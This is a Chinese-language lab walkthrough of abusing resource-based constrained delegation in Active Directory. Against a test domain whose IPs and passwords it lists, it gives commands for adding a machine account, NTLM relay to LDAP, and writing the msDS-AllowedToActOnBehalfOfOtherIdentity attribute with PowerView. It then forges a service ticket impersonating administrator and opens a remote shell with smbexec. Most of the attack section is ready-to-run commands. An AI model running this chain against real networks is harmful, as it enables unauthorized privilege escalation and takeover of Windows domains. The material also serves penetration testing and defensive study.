原理
基于资源的约束委派(RBCD)
是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity
属性来设置RBCD。
这里的关键就是谁可以修改属性
REDTEAM\web3user -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户)
NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改)
我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。
具体可以参考ateam的文章
微软不认的“0day”之域内本地提权-烂番茄
环境搭建
主机 | 机器名 | ip | 用户 | 密码 | 版本 |
---|---|---|---|---|---|
域控 | ad.test.com | 192.168.164.147 | administrator | Aa1234 | win2012r2 |
域内机器 | user.test.com | 192.168.164.129 | user1 | Uu1234. | win2008r2 |
域内机器 | user2.test.com | 192.168.164.150 | user2 | 未知 | win2008r2 |
利用
查询账户创建的机器账户
ldapsearch -x -H ldap://192.168.164.146 -D "user1@test.com" -b "DC=test,DC=com" -w Uu1234. "(&(sAMAccountName=user1)(objectClass=user))"|grep objectSid
ldapsearch -x -H ldap://192.168.164.146 -D "user1@test.com" -b "DC=test,DC=com" -w Uu1234. "(&(sAMAccountName=*)(objectClass=computer)(mS-DS-CreatorSID=S-1-5-21-1476105802-4187504772-1115168634-1107))"
添加机器账户
- 如果有一个域账户
python3 addcomputer.py -method SAMR -dc-ip 192.168.164.147 -computer-name rbcd -computer-pass 123456 "test.com/user1:Uu1234."
- 通过中继添加
使用ntlm中继,前提是需要域控开启ldaps
参考https://www.cnblogs.com/alfredinchange/p/13691748.html
python3 ntlmrelayx.py -t ldaps://ad.test.com --add-computer
这里显示链接ladps错误,ssl错误,但是使用addcomputer脚本指定ldaps时未错误,原因未知
中继&委派
无另一台机器权限
python3 ntlmrelayx.py -t ldap://ad.test.com -debug --delegate-access --escalate-user rbcd\$
这里我使用http请求输入账户密码来触发,但是只能获取域内信息,无法修改属性,使用域账户连接ldap无问题,待解决
有另一台机器权限
使用powerview.ps1
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
查找用户sid
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer -Identity rbcd -Properties objectsid}"
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1476105802-4187504772-1115168634-1110)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer USER2 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"
获取服务票据
python3 getST.py -dc-ip 192.168.164.147 test/rbcd\$:123456 -spn cifs/user2.test.com -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k user2.test.com
参考文章
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
https://xz.aliyun.com/t/8690#toc-69
https://xz.aliyun.com/t/7454